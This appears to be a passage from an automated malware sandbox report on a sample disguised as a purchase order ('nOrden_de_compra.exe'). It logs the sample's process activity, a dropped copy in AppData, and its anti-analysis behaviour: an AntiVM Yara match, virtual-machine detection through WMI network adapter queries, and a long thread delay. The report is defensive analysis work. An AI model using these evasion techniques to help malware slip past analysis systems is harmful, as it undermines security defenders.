Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: nOrden_de_compra.exe PID: 5724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nNdsLvHyWi.exe PID: 6640, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Memory allocated: 2AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Memory allocated: 2CA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Memory allocated: 2AF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Memory allocated: 7FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Memory allocated: 8FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Memory allocated: 9190000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Memory allocated: A190000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Memory allocated: 2CD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Memory allocated: 2E70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Memory allocated: 4E70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Memory allocated: F50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Memory allocated: 27A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Memory allocated: 47A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Memory allocated: 75C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Memory allocated: 85C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Memory allocated: 8770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Memory allocated: 9770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Memory allocated: DE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Memory allocated: 28B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Memory allocated: 48B0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
